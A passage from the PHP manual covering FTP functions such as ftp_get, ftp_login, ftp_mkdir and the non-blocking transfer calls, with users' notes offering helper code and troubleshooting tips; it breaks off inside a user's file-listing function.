The link identifier of the FTP connection.

option

Currently, the following options are supported:

Supported runtime FTP options
FTP_TIMEOUT_SEC | Returns the current timeout used for network related operations.
FTP_AUTOSEEK | Returns TRUE if this option is on, FALSE otherwise.

Return Values

Returns the value on success or FALSE if the given option is not supported. In the latter case, a warning message is also thrown.

Examples

Example #1 ftp_get_option() example

<?php
// Get the timeout of the given FTP stream
$timeout = ftp_get_option($conn_id, FTP_TIMEOUT_SEC);
?>

See Also

  • ftp_set_option() - Set miscellaneous runtime FTP options

User Contributed Notes

There are no user contributed notes for this page.


Downloads a file from the FTP server

  • « ftp_get_option
  • ftp_login »
  • PHP Manual
  • FTP Functions
  • Downloads a file from the FTP server

ftp_get

(PHP 4, PHP 5)

ftp_get — Downloads a file from the FTP server

Description

bool ftp_get ( resource $ftp_stream , string $local_file , string $remote_file , int $mode [, int $resumepos = 0 ] )

ftp_get() retrieves a remote file from the FTP server, and saves it into a local file.

Parameters

ftp_stream

The link identifier of the FTP connection.

local_file

The local file path (will be overwritten if the file already exists).

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

The position in the remote file to start downloading from.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_get() example

<?php

// define some variables
$local_file = 'local.zip';
$server_file = 'server.zip';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to download $server_file and save to $local_file
if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
    echo "Successfully written to $local_file\n";
} else {
    echo "There was a problem\n";
}

// close the connection
ftp_close($conn_id);

?>

See Also

  • ftp_pasv() - Turns passive mode on or off
  • ftp_fget() - Downloads a file from the FTP server and saves to an open file
  • ftp_nb_get() - Retrieves a file from the FTP server and writes it to a local file (non-blocking)
  • ftp_nb_fget() - Retrieves a file from the FTP server and writes it to an open file (non-blocking)

User Contributed Notes

bob at notallhere dot com 04-Apr-2013 02:50
Don't want to use an intermediate file?  Use 'php://output' as the filename and then capture the output using output buffering.

ob_start();
$result = ftp_get($ftp, "php://output", $file, FTP_BINARY);
$data = ob_get_contents();
ob_end_clean();

Don't forget to check $result to make sure there wasn't an error.  After that, manipulate the $data variable however you want.
miki at epoch dot co dot il 23-Dec-2012 06:32
If you ran the example and see that it fail after 90sec (timeout).

Then try adding:
<?php
ftp_pasv($ftp_conn, true);
?>
Ben Parish 26-Jan-2012 10:14
On Windows (and possibly *NIX) you will get "[function.ftp-get]: failed to open stream: No such file or directory in..." errors if the local_file path contains directory paths that do not already exist.

Even with write permissions ftp_get can create the file but it will NOT automatically create the parent directories as you might expect.
danny at ingeniarte dot com 26-Nov-2010 12:37
Remember to use the full server paths to the directories you are working on. Server paths are not the same as "ftp paths".

I was using the path displayed on my FTP client to download and upload files and I kept getting "Not found" or "Permission Denied" errors.
CuDi 23-Oct-2009 04:50
I tried to ftp a 7mb file today off my webserver.

I copied this example directly and it told me.

Port command successful
"there was a problem"

I thought it was because of the size.
But I guessed it might be cause of my firewall.

So I made the ftp connection passive:

<?PHP

  ...
  $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
  ftp_pasv($conn_id, true);

?>

Ran the script again & it worked fine.

Hope this helps someone
mroerick at gmx dot net 15-May-2009 09:42
ftp_sync is a way to walk the directory structure on the server and copy every directory and file to the same location locally.

<?php
$ftp_server = "ftp.example.com";
$conn_id = ftp_connect ($ftp_server)
    or die("Couldn't connect to $ftp_server");

$login_result = ftp_login($conn_id, "user", "pass");
if ((!$conn_id) || (!$login_result))
    die("FTP Connection Failed");

ftp_sync ("DirectoryToCopy");    // Use "." if you are in the current directory

ftp_close($conn_id);

// ftp_sync - Copy directory and file structure
function ftp_sync ($dir) {

    global $conn_id;

    if ($dir != ".") {
        if (ftp_chdir($conn_id, $dir) == false) {
            echo ("Change Dir Failed: $dir<BR>\r\n");
            return;
        }
        if (!(is_dir($dir)))
            mkdir($dir);
        chdir ($dir);
    }

    $contents = ftp_nlist($conn_id, ".");
    foreach ($contents as $file) {

        if ($file == '.' || $file == '..')
            continue;

        if (@ftp_chdir($conn_id, $file)) {
            ftp_chdir ($conn_id, "..");
            ftp_sync ($file);
        }
        else
            ftp_get($conn_id, $file, $file, FTP_BINARY);
    }

    ftp_chdir ($conn_id, "..");
    chdir ("..");

}
?>
w dot danford at electronics-software dot com 10-Nov-2008 11:06
A subtle issue with the ftp_get() function. The second param, string $local_file, is a file name on the SERVER running the php script. It is NOT a file on the client machine running the browser. I erroneously tried to use this ftp to download a file from my site to my local system. I entered the full path starting with the drive letter ("h:/...") on a system running WIN XP and kept getting a failure of unable to open (destination) file. Only after just putting in a file name with no pathing did I see where the file was written. It was in the directory on my site where the php script is located (hosting is managed shared LAMP server which supports multiple url's, GoDaddy hosting).
Nate from ruggfamily.com 22-Oct-2008 11:12
Here's a quick function that figures out the correct mode to use based on a file's extension.

<?php
function get_ftp_mode($file)
{
    $path_parts = pathinfo($file);

    if (!isset($path_parts['extension'])) return FTP_BINARY;
    switch (strtolower($path_parts['extension'])) {
        case 'am':case 'asp':case 'bat':case 'c':case 'cfm':case 'cgi':case 'conf':
        case 'cpp':case 'css':case 'dhtml':case 'diz':case 'h':case 'hpp':case 'htm':
        case 'html':case 'in':case 'inc':case 'js':case 'm4':case 'mak':case 'nfs':
        case 'nsi':case 'pas':case 'patch':case 'php':case 'php3':case 'php4':case 'php5':
        case 'phtml':case 'pl':case 'po':case 'py':case 'qmail':case 'sh':case 'shtml':
        case 'sql':case 'tcl':case 'tpl':case 'txt':case 'vbs':case 'xml':case 'xrc':
            return FTP_ASCII;
    }
    return FTP_BINARY;
}

// sample usage
ftp_get($conn_id, $local_file, $server_file, get_ftp_mode($server_file));
?>
Aditya P dot Bhatt (adityabhai at gmail dot com) 25-Mar-2008 12:40
<?php
                // define some variables
        $folder_path = "YOUR FOLDER PATH";
        $local_file = "LOCAL FILE PATH";
        $server_file = "SERVER FILE PATH";

        //-- Connection Settings
        $ftp_server = "IP ADDRESS"; // Address of FTP server.
        $ftp_user_name = "USERNAME"; // Username
        $ftp_user_pass = "PASSWORD"; // Password
        #$destination_file = "FILEPATH";

        // set up basic connection
        $conn_id = ftp_connect($ftp_server);

        // login with username and password
        $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

        // try to download $server_file and save to $local_file
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
            echo "Successfully written to $local_file\n";
        } else {
            echo "There was a problem\n";
        }

        // close the connection
        ftp_close($conn_id);
?>
anomie at users dot sf dot net 30-Jan-2007 04:24
Crud. The _nb_ only refers to reading from the ftp server, and the buffer in the socket pair is only about 364 bytes. So it doesn't work for files larger than that size.
anomie at users dot sf dot net 25-Jan-2007 06:50
Why there isn't an "ftp_get_contents" function, I don't know. It takes a little work to emulate one, but it's doable.
<?php
function ftp_get_contents($ftp_stream, $remote_file, $mode, $resume_pos=null){
    $pipes=stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
    if($pipes===false) return false;
    if(!stream_set_blocking($pipes[1], 0)){
        fclose($pipes[0]); fclose($pipes[1]);
        return false;
    }
    $fail=false;
    $data='';
    if(is_null($resume_pos)){
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode);
    } else {
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode, $resume_pos);
    }
    while($ret==FTP_MOREDATA){
        while(!$fail && !feof($pipes[1])){
            $r=fread($pipes[1], 8192);
            if($r==='') break;
            if($r===false){ $fail=true; break; }
            $data.=$r;
        }
        $ret=ftp_nb_continue($ftp_stream);
    }
    while(!$fail && !feof($pipes[1])){
        $r=fread($pipes[1], 8192);
        if($r==='') break;
        if($r===false){ $fail=true; break; }
        $data.=$r;
    }
    fclose($pipes[0]); fclose($pipes[1]);
    if($fail || $ret!=FTP_FINISHED) return false;
    return $data;
}
?>

Something similar would work to write a ftp_put_contents function, too.
administrator at gesoft dot org 13-Aug-2006 12:05
Hello everybody,

If someone will try to download files to the same local file (some temporary file), like shown here:

<?php
foreach ($files as $key=>$path) {
...
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

please take in consideration the fact that you will have big problems with downloading (getting) hole files. In other words ‘temp.tmp’ file always will have the same size equal to first downloaded file despite the real size of downloading file. I have not idea what is the reason!

If someone will think that problem is just in getting proper file size (which you will get using filssize() function) he will be mistaken. The download file’s size is not equal to source file’s size materially, that means fflush() function will not solve the problem (I have tried this as well).

Finally the solution was founded: before downloading a file you will need to delete local file if such exist (‘temp.tmp’). So working code will look like:

<?php
foreach ($files as $key=>$path) {
...
  if (file_exists('temp.tmp')) {
    unlink('temp.tmp');
  }
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

Good luck in scripting :-)

Vitali Simsive
corey-holzer at nyc dot rr dot com 23-Jan-2004 03:20
The zero size file is not a side effect.  When the ftp_get starts the first thing it does is to create the inode/file which it will stream the data too and that is a zero size file with the nname you specified for the local file.  When the download fails it leaves the file in place.
thivierr at telus dot net 22-Nov-2003 11:25
If you previously downloaded a file before (like a huge web log), and just want to get the remaining portion, do this:

$local_file_size = filesize($local_file_path);
$get_result = ftp_get($conn_id, $local_file_path, $remote_file_path, FTP_BINARY, $local_file_size);

This same code works regardless of wether the local file exists already or not.  You should first test to make sure the local file is not bigger than the remote file.
ramiro at qusarcr dot com 06-Nov-2002 04:36
Keep in mind that ftp_get will overwrite the file on your local machine if it has the same name.


Logs in to an FTP connection

  • « ftp_get
  • ftp_mdtm »
  • PHP Manual
  • FTP Functions
  • Logs in to an FTP connection

ftp_login

(PHP 4, PHP 5)

ftp_login — Logs in to an FTP connection

Description

bool ftp_login ( resource $ftp_stream , string $username , string $password )

Logs in to the given FTP stream.

Parameters

ftp_stream

The link identifier of the FTP connection.

username

The username (USER).

password

The password (PASS).

Return Values

Returns TRUE on success or FALSE on failure. If login fails, PHP will also throw a warning.

Examples

Example #1 ftp_login() example

<?php

$ftp_server = "ftp.example.com";
$ftp_user = "foo";
$ftp_pass = "bar";

// set up a connection or die
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

// try to login
if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
    echo "Connected as $ftp_user@$ftp_server\n";
} else {
    echo "Couldn't connect as $ftp_user\n";
}

// close the connection
ftp_close($conn_id);
?>

User Contributed Notes

Travis Weston 10-Sep-2014 05:47
To suppress the PHP warning, just prepend the function with the error suppression character @. I'm usually against error suppression, but apparently some genius thought it was a good idea to really drive the point home that you have a bad login. Returning false wasn't enough?

if( ! @ftp_login( $connection, 'USERNAME', 'PASSWORD' ) ){
        die( 'Bad login, but no PHP warning thrown.');
}
contact at evoweb dot fr 29-Aug-2014 08:18
If you want to remove the warning of a bad connection with handled error activated just add before :
set_error_handler("my_error_function", E_ALL & !E_WARNING);
and after the function :
set_error_handler("my_error_function", E_ALL);
mattsch at gmail dot com 01-Dec-2010 05:12
Note that to make an anonymous ftp connection, you need to specify "anonymous" as the username and "" (empty string) as the password.

Example:
<?php
ftp_login('ftp.example.com', 'anonymous', '');
?>


Returns the last modified time of the given file

  • « ftp_login
  • ftp_mkdir »
  • PHP Manual
  • FTP Functions
  • Returns the last modified time of the given file

ftp_mdtm

(PHP 4, PHP 5)

ftp_mdtm — Returns the last modified time of the given file

Description

int ftp_mdtm ( resource $ftp_stream , string $remote_file )

ftp_mdtm() gets the last modified time for a remote file.

Note:

Not all servers support this feature!

Note:

ftp_mdtm() does not work with directories.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The file from which to extract the last modification time.

Return Values

Returns the last modified time as a Unix timestamp on success, or -1 on error.

Examples

Example #1 ftp_mdtm() example

<?php

$file = 'somefile.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

//  get the last modified time
$buff = ftp_mdtm($conn_id, $file);

if ($buff != -1) {
    // somefile.txt was last modified on: March 26 2003 14:16:41.
    echo "$file was last modified on : " . date("F d Y H:i:s.", $buff);
} else {
    echo "Couldn't get mdtime";
}

// close the connection
ftp_close($conn_id);

?>

User Contributed Notes

Jaytop 12-Jun-2005 09:51
Seems to work with directories as well on my Win32 box.
wseibert at hxcorp dot com 04-Nov-2004 09:55
When trying to get the modified time of a file that has spaces in it, ftp_mdtm will fail on some FTP servers.  If this happens, surround the file name with quotes.

$file_name = "my index.html";

$file_modtime = ftp_mdtm($connection, '"'.$file_name.'"')


Creates a directory

  • « ftp_mdtm
  • ftp_nb_continue »
  • PHP Manual
  • FTP Functions
  • Creates a directory

ftp_mkdir

(PHP 4, PHP 5)

ftp_mkdir — Creates a directory

Description

string ftp_mkdir ( resource $ftp_stream , string $directory )

Creates the specified directory on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The name of the directory that will be created.

Return Values

Returns the newly created directory name on success or FALSE on error.

Examples

Example #1 ftp_mkdir() example

<?php

$dir = 'www';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to create the directory $dir
if (ftp_mkdir($conn_id, $dir)) {
 echo "successfully created $dir\n";
} else {
 echo "There was a problem while creating $dir\n";
}

// close the connection
ftp_close($conn_id);
?>

See Also

  • ftp_rmdir() - Removes a directory

User Contributed Notes

PINAR Musa 12-Jun-2013 05:32
Here's the correct code for making recursive directories:

<?php

// function
function ftp_mksubdirs($ftpcon,$ftpbasedir,$ftpath){
   @ftp_chdir($ftpcon, $ftpbasedir); // /var/www/uploads
   $parts = explode('/',$ftpath); // 2013/06/11/username
   foreach($parts as $part){
      if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chdir($ftpcon, $part);
         //ftp_chmod($ftpcon, 0777, $part);
      }
   }
}

// usage
$path_of_storage = '/var/www/uploads';
$newftpdir = '2013/06/11/username';

$conn_id = ftp_connect($ftpserver);
ftp_login($conn_id, $login, $pass);
ftp_mksubdirs($conn_id,$path_of_storage,$newftpdir);
ftp_close($conn_id);

?>
butch AT 4RealMedia dot com 12-Sep-2006 08:26
When trying to user the ftp_mkdir, or ftp_chdir I've noticed that some servers like the entire path such as

/usr/local/home/username/sitename/directory/

and other servers, want you to use the path from the initial login, such as just /sitename/directory/

Just wanted to pass this on
vladimir at lukianov dot name 15-Mar-2004 07:28
For recurrent following function work better.
Some ftp servers (like WarFTP) become demented if you'll
try mkdir not from root dir and if path will be relative.
The second if one of dir (like '/') already exist You'll get access denied.

<?php
 function MkDir($path)
  {
   $dir=split("/", $path);
   $path="";
   $ret = true;

   for ($i=0;$i<count($dir);$i++)
   {
       $path.="/".$dir[$i];
       echo "$path\n";
       if(!@ftp_chdir($this->conn_id,$path)){
         @ftp_chdir($this->conn_id,"/");
         if(!@ftp_mkdir($this->conn_id,$path)){
          $ret=false;
          break;
         }
       }
   }
   return $ret;
  }
?>


Continues retrieving/sending a file (non-blocking)

  • « ftp_mkdir
  • ftp_nb_fget »
  • PHP Manual
  • FTP Functions
  • Continues retrieving/sending a file (non-blocking)

ftp_nb_continue

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_continue — Continues retrieving/sending a file (non-blocking)

Description

int ftp_nb_continue ( resource $ftp_stream )

Continues retrieving/sending a file non-blocking.

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_continue() example

<?php

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Continue downloading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a file from the FTP server and writes it to an open file (non-blocking)

  • « ftp_nb_continue
  • ftp_nb_fput »
  • PHP Manual
  • FTP Functions
  • Retrieves a file from the FTP server and writes it to an open file (non-blocking)

ftp_nb_fget

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_fget — Retrieves a file from the FTP server and writes it to an open file (non-blocking)

Description

int ftp_nb_fget ( resource $ftp_stream , resource $handle , string $remote_file , int $mode [, int $resumepos = 0 ] )

ftp_nb_fget() retrieves a remote file from the FTP server.

The difference between this function and ftp_fget() is that this function retrieves the file asynchronously, so your program can perform other operations while the file is being downloaded.

Parameters

ftp_stream

The link identifier of the FTP connection.

handle

An open file pointer in which we store the data.

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

The position in the remote file to start downloading from.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_fget() example

<?php

// open some file for reading
$file = 'index.php';
$fp = fopen($file, 'w');

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// Initate the download
$ret = ftp_nb_fget($conn_id, $fp, $file, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue downloading...
   $ret = ftp_nb_continue($conn_id);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}

// close filepointer
fclose($fp);
?>

See Also

  • ftp_nb_get() - Retrieves a file from the FTP server and writes it to a local file (non-blocking)
  • ftp_nb_continue() - Continues retrieving/sending a file (non-blocking)
  • ftp_fget() - Downloads a file from the FTP server and saves to an open file
  • ftp_get() - Downloads a file from the FTP server

User Contributed Notes

pilif at pilif dot ch 16-Nov-2004 02:53
If you want to monitor the progress of the download, you may use the filesize()-Function.

But note: The results of said function are cached, so you'll always get 0 bytes. Call clearstatcache() before calling filesize() to determine the actual size of the downloaded file.

This may have performance implications, but if you want to provide the information, there's no way around it.

Above sample extended:

<?php
// get the size of the remote file
$fs = ftp_size($my_connection, "test");

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   clearstatcache(); // <- this is important
   $dld = filesize($locfile);
   if ( $dld > 0 ){
       // calculate percentage
       $i = ($dld/$fs)*100;
       printf("\r\t%d%% downloaded", $i);
   }

   // Continue downloading...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Philip


Stores a file from an open file to the FTP server (non-blocking)

  • « ftp_nb_fget
  • ftp_nb_get »
  • PHP Manual
  • FTP Functions
  • Stores a file from an open file to the FTP server (non-blocking)

ftp_nb_fput

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_fput — Stores a file from an open file to the FTP server (non-blocking)

Description

int ftp_nb_fput ( resource $ftp_stream , string $remote_file , resource $handle , int $mode [, int $startpos = 0 ] )

ftp_nb_fput() uploads the data from a file pointer to a remote file on the FTP server.

The difference between this function and the ftp_fput() is that this function uploads the file asynchronously, so your program can perform other operations while the file is being uploaded.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

handle

An open file pointer on the local file. Reading stops at end of file.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

The position in the remote file to start uploading to.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_fput() example

<?php

$file = 'index.php';

$fp = fopen($file, 'r');

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// Initate the upload
$ret = ftp_nb_fput($conn_id, $file, $fp, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue upload...
   $ret = ftp_nb_continue($conn_id);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}

fclose($fp);
?>

See Also

  • ftp_nb_put() - Stores a file on the FTP server (non-blocking)
  • ftp_nb_continue() - Continues retrieving/sending a file (non-blocking)
  • ftp_put() - Uploads a file to the FTP server
  • ftp_fput() - Uploads from an open file to the FTP server

User Contributed Notes

jascha at bluestatedigital dot com 28-Dec-2004 03:45
There is an easy way to check progress while uploading a file.  Just use the ftell function to watch the position in the file handle.  ftp_nb_fput will increment the position as the file is transferred.

Example:

<?

    $fh = fopen ($file_name, "r");
    $ret = ftp_nb_fput ($ftp, $file_name, $fh, FTP_BINARY);
    while ($ret == FTP_MOREDATA) {
        print ftell ($fh)."\n";
        $ret = ftp_nb_continue($ftp);
    }
    if ($ret != FTP_FINISHED) {
        print ("error uploading\n");
        exit(1);
    }
    fclose($fh);

?>

This will print out the number of bytes transferred thus far, every time the loop runs.  Coverting this into a percentage is simply a matter of dividing the number of bytes transferred by the total size of the file.


Retrieves a file from the FTP server and writes it to a local file (non-blocking)

  • « ftp_nb_fput
  • ftp_nb_put »
  • PHP Manual
  • FTP Functions
  • Retrieves a file from the FTP server and writes it to a local file (non-blocking)

ftp_nb_get

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_get — Retrieves a file from the FTP server and writes it to a local file (non-blocking)

Description

int ftp_nb_get ( resource $ftp_stream , string $local_file , string $remote_file , int $mode [, int $resumepos = 0 ] )

ftp_nb_get() retrieves a remote file from the FTP server, and saves it into a local file.

The difference between this function and ftp_get() is that this function retrieves the file asynchronously, so your program can perform other operations while the file is being downloaded.

Parameters

ftp_stream

The link identifier of the FTP connection.

local_file

The local file path (will be overwritten if the file already exists).

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

The position in the remote file to start downloading from.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_get() example

<?php

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue downloading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Example #2 Resuming a download with ftp_nb_get()

<?php

// Initate
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY,
                      filesize("test"));
// OR: $ret = ftp_nb_get($my_connection, "test", "README",
//                           FTP_BINARY, FTP_AUTORESUME);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue downloading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Example #3 Resuming a download at position 100 to a new file with ftp_nb_get()

<?php

// Disable Autoseek
ftp_set_option($my_connection, FTP_AUTOSEEK, false);

// Initiate
$ret = ftp_nb_get($my_connection, "newfile", "README", FTP_BINARY, 100);
while ($ret == FTP_MOREDATA) {

   /* ... */

   // Continue downloading...
   $ret = ftp_nb_continue($my_connection);
}
?>

In the example above, newfile is 100 bytes smaller than README on the FTP server because we started reading at offset 100. If we didn't disable FTP_AUTOSEEK, the first 100 bytes of newfile would be '\0'.

See Also

  • ftp_nb_fget() - Retrieves a file from the FTP server and writes it to an open file (non-blocking)
  • ftp_nb_continue() - Continues retrieving/sending a file (non-blocking)
  • ftp_fget() - Downloads a file from the FTP server and saves to an open file
  • ftp_get() - Downloads a file from the FTP server

User Contributed Notes

passerbyxp at gmail dot com 05-Jan-2012 05:24
Note that you may have to keep calling ftp_nb_continue in order to complete the download. For example, if you do this:

<?php
ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//do some LONG time work
while(ftp_nb_continue($conn)!=FTP_FINISHED){}
?>

Your local file may only contains a few kilobytes and the later ftp_nb_continue will keep raising warning of no more data (due to connection time out, I guess).

So you may want to do this instead:

<?php
$dl=ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//continue to do this until you finish the long time work
while(ftp_nb_continue($conn)==FTP_MOREDATA){}
?>

This happened on my Windows XP + PHP 5.3.8 under CLI. Hope this helps someone.


Stores a file on the FTP server (non-blocking)

  • « ftp_nb_get
  • ftp_nlist »
  • PHP Manual
  • FTP Functions
  • Stores a file on the FTP server (non-blocking)

ftp_nb_put

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_put — Stores a file on the FTP server (non-blocking)

Description

int ftp_nb_put ( resource $ftp_stream , string $remote_file , string $local_file , int $mode [, int $startpos = 0 ] )

ftp_nb_put() stores a local file on the FTP server.

The difference between this function and the ftp_put() is that this function uploads the file asynchronously, so your program can perform other operations while the file is being uploaded.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

local_file

The local file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

The position in the remote file to start uploading to.

Return Values

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

Examples

Example #1 ftp_nb_put() example

<?php

// Initiate the Upload
$ret = ftp_nb_put($my_connection, "test.remote", "test.local", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue uploading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}
?>

Example #2 Resuming an upload with ftp_nb_put()

<?php

// Initiate
$ret = ftp_nb_put($my_connection, "test.remote", "test.local",
                      FTP_BINARY, ftp_size("test.remote"));
// OR: $ret = ftp_nb_put($my_connection, "test.remote", "test.local",
//                           FTP_BINARY, FTP_AUTORESUME);

while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue uploading...
   $ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}
?>

See Also

  • ftp_nb_fput() - Stores a file from an open file to the FTP server (non-blocking)
  • ftp_nb_continue() - Continues retrieving/sending a file (non-blocking)
  • ftp_put() - Uploads a file to the FTP server
  • ftp_fput() - Uploads from an open file to the FTP server

User Contributed Notes

WebSee.ru 11-Aug-2009 03:01
How to realize the possibility of transferring data from one FTP-server to another via FXP:

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
kaiohken1982 at hotmail dot com 29-Nov-2006 01:53
Hi,
I tried to use both ftp_put() and ftp_nb_put() adding the
variable $start = date("Y:m:d h:i:s"); at the begin of the script and the variable $end = date("Y:m:d h:i:s"); at its end, after the file upload function.
With the gprs connection I'm now using and trying to upload a .jpg file of 67,5 kb the time difference between $start and $end was 40 seconds in both cases, so I can suppose that there is no difference between these upload function.
The difference comes if you put anything inside the while ($ftp_upload == FTP_MOREDATA) loop.
I hope this note can help.
Regards
Ariel asphp at dsgml dot com 12-Jul-2006 09:11
Don't add a sleep() inside the loop. If you do you will severely slow down the upload.

In my tests, each time through the loop it send about 2.5K, looping about 220 times per second. (Which is very little.)

You won't necessarily get the same numbers as me per loop, but clearly PHP does it's own management of the loop so that you don't consume all the CPU on the server.
brandon dot farber at gmail dot com 02-Feb-2006 12:14
I couldn't see this noted anywhere...

ftp_nb_put apparently takes a much much longer time to upload the file than ftp_put (I haven't done any packet sniffing or logging tests to find out why).  I was using a script, nearly identical to the example above, and a 100KB file had only uploaded 3.99KB after about 8 minutes!  The php script naturally timed out before it was complete.

I changed my function to use ftp_put, got rid of the loop to check FTP_MOREDATA (as you will see in the example above), and the same script uploaded 2.2MB within 30 seconds with no other changes.

If you're using this function instead of ftp_put *purely to try to speed up your script* and it's taking a long time, you might want to try ftp_put instead.
ted at hostleft dot com 11-Jan-2005 10:13
If you receive an error like:

Warning:  ftp_nb_put(): Unable to service PORT commands in /path/to/file.php on line 27

verify whether you need to be in PASV mode. You can go into PASV mode by declaring

>  ftp_pasv($cnx,TRUE);
manu at manux dot org 07-Jan-2005 08:35
When using non blocking functions if you try to disconnect while your non blocking operation is in progress the disconnect command will not work until the operation is not finished.


Returns a list of files in the given directory

  • « ftp_nb_put
  • ftp_pasv »
  • PHP Manual
  • FTP Functions
  • Returns a list of files in the given directory

ftp_nlist

(PHP 4, PHP 5)

ftp_nlist — Returns a list of files in the given directory

Description

array ftp_nlist ( resource $ftp_stream , string $directory )

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The directory to be listed. This parameter can also include arguments, eg. ftp_nlist($conn_id, "-la /your/dir"); Note that this parameter isn't escaped so there may be some issues with filenames containing spaces and other characters.

Return Values

Returns an array of filenames from the specified directory on success or FALSE on error.

Examples

Example #1 ftp_nlist() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// get contents of the current directory
$contents = ftp_nlist($conn_id, ".");

// output $contents
var_dump($contents);

?>

The above example will output something similar to:

array(3) {
  [0]=>
  string(11) "public_html"
  [1]=>
  string(10) "public_ftp"
  [2]=>
  string(3) "www"

See Also

  • ftp_rawlist() - Returns a detailed list of files in the given directory

User Contributed Notes

Jacob Slomp 02-May-2012 12:58
Hi,

I wrote this function to get the file list, I tested it only with php5 with linux ftp. And works fine for me.

it will return an array with the name, type (file/folder), owner, owner_id and rights.

<?php
    function ftp_get_filelist($con, $path){
        $files = array();
